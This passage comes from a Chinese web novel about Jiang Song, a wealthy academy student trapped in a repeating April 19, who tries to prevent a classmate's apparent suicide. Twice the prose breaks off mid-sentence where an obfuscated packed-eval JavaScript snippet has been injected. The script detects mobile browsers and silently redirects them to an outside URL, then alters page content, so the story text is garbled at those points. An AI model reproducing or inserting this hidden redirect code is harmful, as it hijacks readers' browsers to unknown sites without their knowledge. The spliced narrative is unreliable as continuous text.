谢桐月嘟着嘴轻轻摇晃她的手臂,随后双手合十,“对不起嘛颂颂,你知道我很容易这样的,嗯?颂颂——” “……还能说什么,”姜颂长长的叹了口气,像是拿她没辙,“只是说戒指很贵重不要弄丢了。” “这样呀。” 谢桐月笑了,看起来格外甜美可人,“没关系的颂颂,就算是弄丢了我也可以再送你一枚新的。所以丢了就丢了,不用去找。” 姜颂不置可否,毕竟对方家里的确有这个财力。 与此同时,短信提示音响起,她再次摸出手机,却看到了一条陌生号码发来的短信。 【颂颂,帮帮我好不好?】 4. 第 4 章 姜颂瞬间明白了对方是谁,这种语气怎么想也不可能会是别人。 而还不等她有所动作,这个陌生号码又疯了似的发来了一堆信息。 【求你,就这一次,就一次——】 【颂颂,颂颂,颂颂颂颂颂颂颂颂——】 【你可怜可怜我好不好?我都听你的不出现在你眼前了,求你了,求求你……】 姜颂面不改色的摁下静音键,将手机揣进衣兜里后,她主动转移话题:“可这是你送我的第一份礼物——不过说起这个,桐月,你今年的生日打算怎么过?” 谢桐月见她脸色好转,也立刻有了精神,她褐色的眼亮晶晶的,充满期待道:“其实我准备去仲夏岛过生日啦。” ‘仲夏岛’这个词令姜颂弯曲了一下食指,她当然不会提及那场荒诞的梦。于是她顺着她的话问:“可是仲夏岛不是没有对外开放吗?” “对呀,”谢桐月眨眨眼,语气纯真又理所当然,“但今年的缪斯双榜前三可以作为特邀内测客户去岛上玩七天呢。” 【听说这次双榜的前三可以去仲夏岛玩,我一定要和明学长一起去!】 和梦境重合了。 ……所以昨天的经历真的是梦吗? 熟悉的割裂感再度出现,无数疑问像是围绕在火焰旁的飞蛾般挥之不去,姜颂心道谢桐月刚才说的是‘要去’而不是‘想去’,通常来说她想要就能得到,这么笃定肯定也有了去的方法。 于是她也不再多问,又或者说她对此没有太多兴趣,只是说:“那等你回来之后我再单独补一个生日给你。” 闻言谢桐月顿时眉开眼笑,灵动又娇美,“我就知道颂颂你最好啦——” 两人又聊了一会儿,接着便一起离开藏书馆,前往教室。 姜颂与谢桐月其实并不在同一个班级,甚至不在一个楼层。 三年级共设有四个班,虽然以ABCD进行划分,但却没有等级之别,学生入校后完全由系统派位随机分班。 谢桐月所在的A班位于五楼,姜颂的B班则在四楼,不过每个楼层内的设置别无二致,均有私密性极好的休息室和娱乐间。 与谢桐月在电梯间分开后,姜颂拐进走廊,一入教室门就发现所有人的手里几乎都拿着一只深紫色的小盒子。 虽然第二节课临时改成了自习,但群通知说会有老师来教室进行监督,所有人必须待在教室里,不得私自外出。 这也算是件稀奇事,毕竟以往的自习课并不设置自习地点,更没有老师监管,学生们都是来去自由。 不过这次的反常显然是因为刚才的那起死亡事件,而老师大概率还在开会,所以暂时没有出现在教室内。 与此同时,毫不吝啬的夸赞不绝于耳。 “天呀,桐月不愧是谢氏集团的小姐,一出手就是几万的耳坠。” “拜托那可是谢桐月!她送什么我都开心。” “你们男生收到的是什么?好像是胸针?” “没猜错的话这应该是蝶语系列的新款吧?真的好美哦……” “哎呀,这次的缪斯榜我肯定要投桐月的,不投我都觉得对不起她。” “……” “……” 姜颂在同学们兴奋的讨论中默然回到了自己的座位——靠窗的倒数第二排,视野好,放在平时可是个相当不错且不引人注目的位置。 但她知道,在她进门的时候就已经有人在暗中观察着她。 “……” 姜颂见自己的桌子上同样摆着一只深紫色的盒子,便直接将它打开,一对由浅蓝色钻石组成的蝴蝶耳坠正安然躺在一片丝绒里。 同时一张浅色卡片正别在盖子的内侧,上面印刷的字体俏皮可爱。 【希望你能喜欢哦。】 就在她准备将盒子合上的时候,一道女声忽然自斜前方传来:“哈?姜颂你收到的也是蝶语耳坠吗?” 姜颂的指尖一顿,抬头与已经将耳坠戴上的长发女生对上视线。 对方长了张漂亮高傲的脸孔,她双手抱胸,直直的看着她冷嘲热讽:“我还以为桐月会送你不一样的呢,毕竟你们关系那、么、好。” 她最后几个字的落音格外的重,而班内的讨论声早就消失不见,安静的仿佛时间也跟着冻结。 长发女生的同桌悄悄看了眼姜颂的脸色,尴尬又慌乱的拽了拽她的衣袖,小声提醒:“……小舒,别……” 长发女生看不惯姜颂很久了,她不明白为什么这种下等人也能攀上谢桐月的大腿,这个圈子里谁不知道姜颂的母亲不顾名誉和精神病暴发户搞在一起,最后还落了个成为寡妇的下场。 这在他们这个阶层可是极为可笑且可耻的事,就算那女人开了公司又怎么样,谁知道这其中有什么见不得人的猫腻,随即长发女生阴阳怪气道:“怎么了?难道我说的不对——” 然而她话音未落就有人出声阻止,并硬拉着她坐下,“好啦好啦——咦?林舒蔓,你的耳坠好像戴歪了?” “姜颂你别生气别生气,我们都知道你跟桐月关系最好。” “就是就是,可千万别在意啊。” “没错啦,姜颂,你可得帮我跟桐月说声谢谢,这耳坠我超级喜欢的!” “……” “……” 面对众人的维护,姜颂只是客气的笑笑,仿佛她本来就没什么脾气。在其他人看来,谢桐月的存在就好似一盏华美的琉璃灯,连带着将她这个透明人也被照的五光十色。 然而最开始就出声阻止争吵的女生却不敢再看她一眼。 姜颂没有理会,在老师踏进教室的那一刻,她拨开耳坠,将丝绒底座向上一挑,果然在夹层里发现了一只同系列的戒指正闪烁着静谧的微光。 ……谢桐月真的是非常,非常喜欢送她戒指啊。 姜颂面上的微笑不变,她扣上盒子,随手将它丢进桌洞里,拿出书本开始复习。 时间飞速流逝,中午的时候她婉拒了谢桐月一起去餐厅吃饭的提议,但不是因为陆允谌在场——而是她实在是没什么胃口,于是直接回了休息室睡了一觉。 一天的课程很快结束。 姜颂没有带走耳坠盒子,她独自一人出了教室,同时没去校门口,而是步行到了露天停车场。 最后坐上了早就抵达的私家车。 然而每次都会先她一步上车等她的姜知律却迟迟没有出现。 周遭的汽车陆陆续续的驶离,只余下姜家的轿车孤零零的停在原地,夕阳的余晖将黑色的车漆染上热烈的色彩。 “……” 刚挂断家中来电的司机返回驾驶室内,他透过后视镜观察雇主的脸色,见对方倚靠着车座闭目养神,先是松了口气,心里又忍不住抱怨姜少爷没个时间观念,他今晚还想早点回家给女儿过生日呢。 他是姜家上任司机的朋友,由于是熟人介绍,所以在做了详细的背调和健康体检后便成功上岗,成为了姜家小姐的专属司机。 而上任司机也没多说什么,只是让他一定要明白姜家小姐才是他的雇主。 司机不明白朋友为什么要这样提醒他,但也满口答应。 又等了五分钟,司机实在忍不住小声说:“……小姐,您睡了吗?” 正放空大脑的姜颂没有睁开眼,可实际上她已经十分不耐烦,“嗯?” 司机松了口气,这还是他第一次单独与小姐进行长对话,“小姐,我还是进学校里找找少爷吧?这么晚了,别再耽误您休息。” “……” 听到这句话后,姜颂终于掀开眼皮,她眸色漆黑,视线刚好对上后视镜中司机的双眼。 “……!” 司机被看的一怵,他还来不及反应,就听到对方说了句‘好’。得了指令后他也来不及多想,只觉得是自己看错了,便急匆匆地解开安全带想要下车。 而坐在后排的姜颂却仿佛想起了什么,“章司机,婷婷的生日礼物我放在管家那里了,你回去的时候记得取。” 章司机一愣,接着赶忙回头摆手,“这哪能让小姐破费,我们不能要,不能要——” “不是什么贵重的东西,只是一点小心意。” 微凉的春风自半敞的车窗外吹进来,姜颂微笑着将脸颊上的发丝勾到耳后,“小朋友过生日还让你在这里加班,我才过意不去。” 闻言,章司机顿时有些不好意思,他和妻子的第一个孩子不幸夭折,而现在老来得女,因此格外疼爱些,“小姐您太见外了,这是我的工作,我的本分,应该的,应该的……” 他嘴上这么说,但是脸上的喜意却溢于言表。再度表达了自己的感谢后,他神色轻松的下了车。 见司机的身影远去,姜颂神情淡淡地收回视线。 她平时不会关心这种小事,但奈何章司机打电话的声音太大,她想听不见都难。而为了保证接下来的行程安全,姜颂摸出手机给管家刘姨发了条信息。 在等待回复的同时,陌生号码的短信还在以一种夸张的速度疯狂的往外弹。 “……” 感觉显示界面好像都因此卡了一下,姜颂这会儿才想起手机还静着音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321634|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过她依旧没有理会,而是先确认了没有姜知律发来的信息后,才将这个号码拉黑,接着调开音量键。 下一秒,手机疯了似的响铃,在寂静空旷的停车场显得无比刺耳,她嫌烦干脆将模式调成拒接陌生来电。 世界终于清净了。 仿佛扫清了垃圾,姜颂的心情略有好转。 管家的效率一向很高,没几分钟就发来几张图片让她过目,姜颂挑选了两样,接着转了笔钱让对方再给小姑娘包个红包。 半小时后,天边浮现出黯淡的深蓝,一高一矮两道身影终于出现在了停车场内。 “……姐姐。” 先行上车的姜知律呼吸平稳,衣着整洁,看不出有什么不对,“抱歉让你等那么久。” “没有下次。” 嗅到了与以往不太一样的气味,姜颂挪开视线不再看他,在司机上车前继续道:“毕竟没人会一直等你。” 表面功夫谁都会做,能不能与姜知律‘和平共处’纯粹看她的心情,而她本身就耐心不足,除了母亲和谢桐月外,他还是头一个敢让她等那么久的人—— 但讨厌归讨厌,在外人面前她依然会给他几分薄面,毕竟他也间接代表着姜家。 姜知律坐在一旁安静的听,眼神自始至终都落在她的侧脸上,车窗外的光线渐暗,可依旧努力的为她的皮肤渡了一层柔和的光。 直到司机上车,驱动车子离开停车位,他才收回目光,看向窗外。 也就是这时候,一辆敞篷跑车疾驰而过,迅速消失在了他的视野中。 - 半小时后。 姜宅。 “小姐。” 女佣站在玄关,面向正在换鞋的女孩问:“厨房煲了汤,您要不要先喝一碗?另外需要将晚餐送到您的房间吗?” 姜颂喜欢喝各类汤品,几乎每次晚餐前都会喝上小半碗,而通常情况下,姜母不在家的时候她都会自己在房间里吃饭,但这一次她一边换鞋一边说:“不用,正常摆餐就行。” “是,小姐。” 女佣恭顺的退开一步为她让路,等她踏出玄关,同样的话又问了一遍沉默不语的姜家少爷。 姜颂目不斜视,她拐进前厅,上楼洗手换了身衣服,等再回到餐厅时,就见姜知律已经坐在桌前等待。 姜宅的装修风格简约,由姜母亲自设计,整体以奶油色为主,并不显得奢华厚重,反而多出来几分温馨宜人。 由于姜母外出不在,所以主位自然空着,桌上摆着色泽鲜亮的四菜一汤,看着让人很有食欲。 姜颂落座于姜知律的对面,直到她喝下第一口汤,他这才动筷。 沉默在餐桌上蔓延,姜家虽然没有食不言寝不语的规矩,但眼下两个人显然也没有什么好交流的。 当然,就算姜母在场也不例外。 姜颂拿起手边的玻璃杯,喝完水后便离开餐厅,回了自己的房间。 圣德利亚的课业并不繁重,老师们留下的作业不多,却更加考验学生们的自律性。 想要成绩出彩,仅靠那些可有可无的作业是完全不够的。 而姜颂的成绩不错,在年级里排的上前五,偶尔还能进到前三。 将学校的作业和自己的习题做完,她回浴室洗了个澡,吹干头发后又从柜子里翻出一盒自己上个月买的五百片拼图。 包装盒上的图片很漂亮,斑斓的灯光下是被积雪覆盖的城市街道,人群聚集在广场,欣赏着夜空下的烟火。 她很早就知道自己耐心不足,即便现在能够强迫自己忍耐,但仍会定期购买一些拼图来锻炼自己的专注力和耐性。 接近十一点的时候,姜颂拼好了拼图的边框和一角。 她终于感觉到了疲惫,胃也隐隐的有些疼,明显是饿了。想来想去她今天也没吃什么东西,只喝了一碗汤夹了几口菜,不饿才怪。 一般来说她过了八点就不会再进食,哪怕再饿她也会忍着。于是不打算破坏这个规则的姜颂将拼图收好,熄了灯窝进床里。 黑暗侵袭着她的意识,将她拖进更深层的梦里。 ‘咚’ 有什么东西在黑暗中骤然落地,乱糟糟的球状物滚到她的脚边。 腥气浓郁,一地潮湿。 姜颂猝然惊醒。 闹铃刻板的响声慢慢递进耳内,她的意识逐步清醒,最后擦去额头上的冷汗摸起手机。 四月十九日 姜颂深吸一口气,不是梦。 她再度回到了昨天。 又或者说她被困在了这一天。 5. 第 5 章 厚重的窗帘隔绝了室外的光线,房间内的床头灯亮着,溢出一小片暖融融的区域。 而脸色阴沉的姜颂此刻正坐在羊绒地毯上,盯着自己从柜子里找出来的拼图。 一盒崭新的,甚至没撕开外包装的拼图。 她开始对于自己的处境感觉到了毛骨悚然。 姜颂刚才不抱希望的确认了一遍社交软件记录,包括网络上的一些新闻和时间,发现所有的一切真的都退回到了昨天,或者说是四月十九日。 这就仿佛掉进了时空的夹层,又或者她是个突然觉醒意识的NPC,不断地在设定好程序的游戏里循环往复。 她疯了吗? 这个念头的出现让姜颂觉得可笑,谁都可能疯但她绝对不会。 可是为什么她会回到四月十九日,这个日子有什么特别之处吗? 无数画面在脑海中掠过,很快定格在一张人脸上。 何筝。 难道是她的死亡导致她深陷于时间的轮回? 后背抵着床板,姜颂深吸一口气,随即又看了眼时间。 六点三十分。 距离何筝死亡还有两小时二十三分钟。 她回忆起女生在天台上那单薄,最后犹如枯叶般飘零的身影,神情难看且复杂。 何筝真的是自杀吗? 姜颂无从得知警方的调查结果如何,可她也不能眼睁睁的看着对方再度死去。于是她思索了一会儿,圣德利亚学院会在早晨七点准时打开校门,而在七点前别说是学生,神仙来了也别想进去。 这是一条众所周知的校规。 同时学院管理严格,外校人员必须登记确认身份才能进入学校。 姜颂看了眼躺在地毯上的拼图盒子,心率微妙的变快,这个世界只有她自己回到了四月十九日吗? 会不会有人跟她有相同的经历? ……如果她自己死去,时间还会跟着重置吗? 做了几个深呼吸后,姜颂收起杂乱的思绪,她抓起床上的手机,切换账号找到了联系人BUG。 【Re:在吗?我想让你帮忙查一个人,圣德利亚一年级学生何筝。我需要今晚前拿到她的信息,按你的规矩,报酬双倍。】 对方没有回复。 姜颂也不着急,她先是转了账,接着起身在房间里简单的做了几个拉伸,随后洗漱换衣。 对应四季,圣德利亚的制服一共备有四套常服和四套运动服,并搭配相应的替换衣物。而材质厚度会根据季节进行调整,除冬季外,女生的常服都是过膝的灰色方领长裙,内搭短袖或长袖雪色衬衣,外罩同色短款外套,系暗红领带。 人鱼和血族的制服款式与他们一致,只是颜色略有不同,分别是深蓝色和黑色。 由于今天的第二节课就是网球课,校内的储物柜中也有她的运动服,所以姜颂还是换上了长裙,并从摇表器内取出一只小金表戴好。 只不过在挑选配饰时,她却下意识的避开了月桂尾戒,挑选了几枚银质素戒套在左手上。 可就在她穿戴整齐打开房门的瞬间,正好撞上了打算敲门的女佣,下一秒,玫瑰茶水濡湿了她的制服长裙。 “……!对不起!对不起小姐!” 年轻女佣脸色大变,赶紧将托盘放到地板上,随后匆忙掏出手帕想要帮她擦拭,“小姐有没有被烫到?都怪我,都是我不好。请您原谅我!” “没关系,不烫。” 姜颂拦住了对方的动作,却接过了手帕,她认出她不是昨天那位送茶的女佣,是一周前刚来的新人,很擅长做一些甜品糕点,叫小琳。 她宽慰道:“我换一件就好了,不用那么紧张。” 年轻女佣却还是有些局促,“是,是……” 姜颂当然察觉到了对方的不安,她用手帕拭去衣裙上的水渍,语气平常的继续询问:“今早吃什么?” 年轻女佣努力定了定神,“……今早,今早厨房为您准备了蓝莓奶酪吐司,熏肉蔬菜沙拉和桃汁,您要在房间吃还是……?” 果然和昨天一模一样。 “今天我在餐厅吃。” 姜颂觉得十分诡异,不过她对‘每天要吃什么’没有什么太多想法,除了带腥味儿的食物,基本上是别人做什么她吃什么。 她将湿了大半的手帕递回去,“谢谢,麻烦你一会儿清理一下地板。” 见她确实没表现出什么怒意,年轻女佣肉眼可见的松了一大口气,她恭敬的弯腰,“好的,小姐。” 她说完便后退了半步,脚底却踩到了什么软乎乎的东西。 “喵呜——” 刺耳的猫叫声徒然响起,不知什么时候来到这里的黑猫炸着毛朝她们哈气,年轻女佣被吓了一大跳,她慌张之下踩到了地板上的水渍,接着脚下一滑跌坐在地。 而姜颂则下意识的想去扶对方一把,可她刚俯身伸出手,应激的黑猫便哈着气狠狠地给了她一爪子。 “……” 尖锐的疼痛令姜颂立刻缩回手,冒着血的抓痕自腕骨横跨至小鱼际,看起来有些慎人。 年轻女佣的脸色瞬间变得惨白,她抖着嘴唇道:“小,小姐!您,您的手——” “……没事。” 姜颂垂下眼帘,面色如常,“去叫姜知律过来,麻烦你了。” 年轻女佣还想说什么,但第六感却告诉她这时候最好闭上嘴巴,于是她连忙点头爬起身,匆匆下了楼。 而身为罪魁祸首的黑猫糊糊则不知道躲去了哪里。 这会儿姜颂的手已经疼到发麻,她简单活动了一下手指,确定只是皮外伤后便没再将这件事放在心上,她叫姜知律来是为了让他安抚一下猫咪,但以目前的状况显然也不再需要他。 很快,凌乱的脚步声传进耳内,姜知律的身影很快出现在了她的视野中。 气息紊乱的男生提着一只医药箱,在看到她的手后,清俊耐看的脸上隐隐浮现出一丝焦急,“对不起姐姐,是不是很痛?对不起,我帮你——” 然而他的话还没说完就被姜颂打断,“不需要,谢谢。” 她转身往房间内走,头也不回的说:“以后不要让你的猫来这一层。” 这样可以避免很多意外和麻烦。 姜颂踏进浴室关上门,将姜知律的回答隔绝在外。 她在浴室内反复冲洗了几遍左手,见伤口还是在流血,便抽了几张洗脸巾摁住手背,随即开门准备拿敷贴和碘伏简单处理一下,却见姜知律仍杵在房门口没有离开。 姜颂皱了皱眉,“你还待这儿干什么?” “……对不起,姐姐。” 黑发男生的声音很轻,他琥珀色的眼看向她的左手,“姜阿姨叫我帮你处理一下伤口。” “……” 姜颂定定看了他几秒,说实话她有时候挺佩服他,是真的能演,也很能忍。 于是她也不再拒绝,而是来到桌前坐下,颔首道:“那你进来吧。” 得到指令的姜知律三两步来到她面前,他将医药箱放下,从里面取出了碘伏棉签和一管药膏。 紧接着他几乎没有任何犹豫便半跪在地,小心翼翼的托住她的手腕,将洗脸巾揭开后,开始消毒伤口。 他的动作很轻柔也很规矩,没让她感觉到额外的疼痛,姜颂看着他乌黑的发顶,“姜知律,你应该很清楚我讨厌你吧?” “……” 可姜知律仿佛没听见她的声音,只是自顾自更换了棉签,他一边涂抹碘伏一边小声说:“伤口不深没划到血管,先敞着晾干,暂时不要缠绷带。” 他仿佛对此颇有经验。 “……” 姜颂倍感无趣,等对方处理完后她收回手,语气平平,“行了,你可以回去交差了。” 仍跪在地板上,正收拾着垃圾和医药箱的姜知律动作一滞,他仰起头看她,小声说:“糊糊打了疫苗。”语毕又很快低下头,最后乖顺的起身离开。 见门被合上,姜颂到衣帽间换上了替换的长裙,接着下了楼,意料之中的在餐厅看到了母亲的身影。 “早上好,妈妈。” 她拉开餐椅坐下,而年轻女佣小琳也抖着手将她的早餐摆上了桌,份量适中,是她可以吃完的量。 “……” 正一边喝南瓜米粥一边翻书的姜母抬头看向她,接着将书合上,“嗯,手怎么样?” 将左手搁在腿上的姜颂喝了口桃汁,因为在考虑接下来要怎么做,她便随口扯了个谎:“还好。” 姜母点点头,她似乎想说些什么,但一时间又找不到什么话题。直到姜知律也下楼用餐,她都没有再说话,最后三人在沉默中吃完了早餐。 告别姜母后,姜颂与姜知律一道上了车。 车内,姜颂给管家发了准备礼物的信息,并让对方给章司机放半天假,这才放下手机闭目养神。 好在姜知律懂得看人脸色,没有在这个时候打扰她。 二十分钟过后,两人顺利抵达圣德利亚学院。 姜颂下了车便直奔教学楼,她到教室放下皮包,接着便去了班主任的办公室。她演技自然地装出一副胃疼的模样,说要去医务室看看。 索性她成绩好,平时也听话守纪律,属于让人省心的学生,所以老师不疑有她,面上关心了几句便同意了她的请假。 于是姜颂便踩着上课铃声去了自己的休息室,接着换上运动服后离开。 - 时运不济。 音乐馆内,姜颂见电梯间挂着维修的字牌,便转身往安全通道的方向走去,她没选择走公共楼梯,纯粹是因为安全通道距离更近。 两分钟后她拉开紧闭的大门,跨入一片略带潮湿气味的阴暗中。 门自动合上,几乎没有发出什么响动,而感应灯也瞬间启动,照亮了只有窄窗的楼梯间。 姜颂又看了眼时间,接着踏上楼梯。可她刚走上二楼的缓步台,就听到了两串脚步声。 她立刻停住,下一秒略带哽咽的女音自上传来。 “……我到底是哪里做的不够好,你要这样对我?” “你真的喜欢我吗?交往到现在你都没吻过我!” 女生哭的厉害,声音中带着无限泪意,大概是在质问某个人。 这人是何筝吗? 姜颂在心中猜测,却又很快否定了这个想法,因为对方的声线与视频中的何筝不太像。 “谈个恋爱就得接吻?什么道理。” 随后响起的男声里充斥着不耐烦,“你受不了就分手,又没人逼你。” 姜颂眉梢一挑,这声音她倒是十分耳熟。 但是他为什么会有女朋友?谢桐月知道这件事吗? 明白自己撞见了分手现场,姜颂便打算直接下楼离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321635|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,然而不巧的是兜里的手机却突然响起。 “……” 抽噎声瞬间消失,仿佛从未存在过似的。 姜颂看了眼手机,发现是谢桐月发来的信息,问她怎么没来上课。 对方似乎总是对她的行踪了如指掌。 她没回,将手机静音放回去后也不觉得尴尬,毕竟该尴尬的正主还在上头。 紧接着便是一阵慌乱的脚步声,以及顺着楼梯井倾泻而下的微弱光线,她又等了一会儿,等到感应灯自动熄灭,觉得那两位应该是从对应楼层的通道门出去了,这才再度往上走去。 ‘吧嗒’ 在她踏上三楼缓步台的瞬间,一声脆响随之而起,她抬起头准确的看向角落里的人影。 ……真是倒霉透了。 “我当是谁呢。” 那人吊儿郎当的靠着墙面,手里夹着已经被点燃的烟,在看清她的脸后,他露出一个轻佻的笑,“原来是我们姜大小姐。” 语毕他直起身体走过来,一张俊秀的脸暴露在视野中。 是陆允谌。 他模样生的好看,肤色是一种病态的苍白,只可惜他的眉压的低,总给人一种阴晴不定,难以捉摸的错觉。 如果真的是错觉就好了。 “……” 姜颂扫了眼他解开了两颗扣子的衬衣以及歪歪扭扭的领带,只微笑点了个头算打招呼,便想走人。 然而一只手却拽住了她的小臂。 “哑巴?” 陆允谌的动作粗暴,却也很快松开了手,仿佛粘上了什么脏东西,“不会说话?” “……陆少爷想要我说什么。” 姜颂被拽的踉跄了一下,她下意识抓住栏杆才勉强站稳没有摔下楼梯。可左手背处传来撕裂般的刺痛,她瞥了一眼抓痕,发现伤口再度开始渗血,甚至流到了掌侧。 这令她心生烦躁,不过她面上不显,毕竟一会儿还得留着力气去找何筝,“不好意思打扰你了?” 事实上,她和陆允谌能够在圣德利亚内‘和平共处’完全倚靠谢桐月这个中间人。 他的家境同样数一数二,背靠厉城最大的地产企业,与谢桐月青梅竹马,感情甚笃。 可自从到了圣德利亚,这最亲密的头衔却落在了她姜颂的身上。 姜颂有时候都在怀疑他是不是脑子有病,一面觉得她身份低贱不配与谢桐月做朋友,看她的眼神和看垃圾差不多,一面又整日盯着她不放,她不管做什么他都要上来阴阳怪气的刺上几句。 就好像找她麻烦是他每天必做的经验任务一样。 闻言陆允谌上下打量着她,像是在看橱窗里未标明价格的商品,他玩味道:“所以?” 即便知道何筝会在什么时间死去,姜颂也实在没时间陪这位少爷玩下去,于是她迎着他意味不明的目光走过去,而伴随着她的接近,陆允谌的表情明显开始变得僵硬起来,他似乎想要后退,却硬是停在原地没有动。 “……” 忍受着烟味的姜颂将视线一垂,在看到他上下滑动的喉结后,心里冷笑的同时一把拽住那松垮的领带,牵狗似的迫使他不得不低下头,“你在期待什么所以?” 她反手将领带一卷握在手中并用力收紧,最后利用身体的重量,手下顺势向自己的身后一推。 反应过来的陆允谌脸色骤变,因为他整个人都不受控的向前栽去,多亏于他反应还算灵敏,硬是将重心一偏才没有滚下楼梯。 最终他狼狈的摔在缓步台上,手心硬生生摁住了香烟,他被烫的‘嘶’了声,“姜颂!你疯了?!你怎么敢——” 蠢货。 暗色的环境完美装饰了她眼眸深处的讥诮,早就走了七八级台阶的姜颂头也不回的摆手,“去整理整理仪容吧,陆少爷。”她来到缓步台,错身居高临下的俯视他,“毕竟你的身上可沾着我的血呢。” “姜颂!你给我滚回来!” 她没再理会陆允谌气急败坏的声音,而是心情舒畅的离开,她也不担心对方会追上来,因为陆允谌不光有洁癖,同时还轻微晕血。 如同她刚才所说的那样,在陆允谌的世界观里人分三六九等,而在姜颂见过的所有人中,也只有谢桐月能安然的触碰他不被排斥,至于其他人或多或少会被嫌恶,反观她—— 他那么讨厌她,现在怕不是隔应的要死。 姜颂脚步不停,不多时她来到顶层推开门,扑面而来的阳光和春风驱散了躁意,她跨过门槛,轻轻地合上门并环顾四周。 天台很宽敞,仅有三个电梯机房阻碍了视线,而架起的监控摄像头似乎也在正常运行,她刚要上前仔细查看,却在瞥见机房后的一点裙角后,收回视线来到了栏杆前向下看去。 真高啊。 她将小臂搭在栏杆上,远望圣德利亚的景色,浓郁的樱粉,无垠的嫩绿,漂亮又让人觉得逼仄窒息。 从这里跳下去,应该真的很绝望吧。 姜颂心里这么想的同时挪动手臂,手掌撑住了栏杆,她踏上基座,俨然一副要翻过去的架势。 “……同学!” 伴随着急促的脚步声,她再度被人扯住,可是这次握住她手腕的手十分温暖,力度轻柔却十分坚定。 姜颂侧过脸看过去,意料之中的看到一张带着伤疤的脸,她错愕道:“……你……” 来人正是何筝。 6. 第 6 章 女生的脸与她在热帖视频中看到的样子基本一致,区别在于此刻对方的眼皮红肿,面色暗沉,长发凌乱,看起来十分疲惫。 一种从骨头里溢出来的疲惫。 “同学?” 但就算如此,何筝现在似乎更担心她的情况,她吸了吸鼻子,“你先下来说话好不好?” “……” 姜颂一时无言,她不知道对方是在什么心境下说出这番话的,但也意识到她并没有认出自己——也是,事情都过去了这么久,她不记得自己才算正常。 “……” 不过转瞬间她已经规划好了接下来该怎么做,姜颂并没有将自己的手抽离,反而沉默了一会儿别开视线:“我只是来看看风景。” 何筝显然不太相信,她瞅了瞅她淌血的左手,忽然道:“那我跟你一起看。” 语毕她也踏上基座,与她并排站在了一起。 可过了一会儿,姜颂就感觉到搭在自己手腕上的手越来越凉,甚至有了些许湿意,随后她听到何筝小声说:“……好高。” “……你有恐高症吗?” 闻言姜颂一愣,歪头就见身边的女孩面色惨白,汗水甚至打湿了对方额前的刘海。 何筝呼吸急促,不停地咽着口水,紧张的整个人都在发抖,“有,有……” 见她明显是在强忍着恐惧,姜颂的心情顿时复杂了不少。 既然这么害怕,又为什么会来到天台,为什么硬要陪在她的身边呢? 后者其实可以解释为何筝本性善良,至于前者——难道她是被人逼迫的? 回忆起女孩独身一人站在栏杆外,最后坠落而下的惨状,姜颂不由得向后一退,她迈下基座,反手抓住了何筝的小臂。 “闭眼,不要往下看。” 她这样叮嘱,另一只手则扶住了对方的肘部,在感受到女孩肢体上的僵硬后,她继续说:“我拉住你了,你还能动吗?” “我,我动不了。” 何筝的声音里溢满了惊慌,双腿仿佛被浇灌了水泥,动弹不得,眼前更是眩晕无比,“一点也——” 她话还没说完,就感觉到了一股巨大的力度扯着她向后仰倒,她大声尖叫,视野中扭曲的绿色和灰色转瞬间被澄澈干净的蓝色取代。 “……!!!” 惊魂未定的何筝大喘着气,这才发现自己已经远离了围栏,跌坐在地。同时刚才那个身穿运动服的女生正扶着她的肩膀,一瞬不瞬的看着她。 在完全看清她的脸后,何筝忽然一呆。 “……” 姜颂只当女孩是被吓傻了,而手下这具身体的骨骼感非常明显,瘦的可怕。她也没有问她为什么恐高还要来这里,而是从口袋里摸出一颗草莓糖,“要吃吗?” “……谢,谢谢你。” 面白如纸的何筝像是才回过神来,她低下头颤着手将糖接过,却半天撕不开包装,最后在姜颂的帮助下才将那颗粉色的糖球塞进嘴里。 见何筝的脸色有所好转,姜颂这才脱下运动服外套,接着手指轻轻一勾,腕上的小金表落进衣兜内,随后她面不改色的将外套盖在对方光.裸的双腿上。 “你先坐一会儿,我去处理一下伤。” 姜颂指了指自己正淌着血的左手,见何筝呆愣愣的点头,她这才一边转身走向天台的另一侧,一边从口袋里摸出手帕,擦拭着流淌到腕部的血液。 而在这个过程当中,她并未在天台上发现其他人的存在。 最终,姜颂将染血的手帕塞进兜里,一言不发的坐在了女孩的身边。 两个人就这么安静的坐着,可能是在看天空,也可能是在看触手可及的栏杆,谁都没有再说话。 “……” 直到清脆的铃铛声响彻整个学院,姜颂才意识到自己竟然在天台待了整整一节课的时间,再逗留在这儿显然不合适,于是她起身问:“要一起走吗?一会儿该上课了。” 她不可能二十四小时都盯着何筝,所以必须尽快找到她坠楼的原因,从根源上解决问题。 “……” 而何筝的状态虽然看上去要比刚才好上不少,但她沉默了几秒,还是抓紧外套坚持道:“我想再待一会儿。” “好。” 姜颂也没表现出什么多余的情绪,就好像她只是单纯的问问,“外套你留着用,有时间再还给我。” 她不等对方回应便转过身,接着头也不回的继续说:“口袋里还有草莓糖,想吃的话自己拿。” 何筝真是个奇怪的人。 在关上天台大门后,姜颂若有所思的想。 但可惜的是她现在仍无法判断出何筝的真正死因。 可如果对方是跳楼自杀,那么经过这短暂的相处,她反而觉得女孩的生命不会在今天凋零,毕竟她的手表还在那件外套里。 何筝绝对会想办法还给她的。 思及至此,姜颂迅速下了楼梯来到五楼,紧接着她推开安全门,步入一条走廊。 她当然不会真的留何筝一人独自待在天台上,所以她轻轻用鞋尖抵住了门板,没有将它关严,随即躲在门后静静等待。 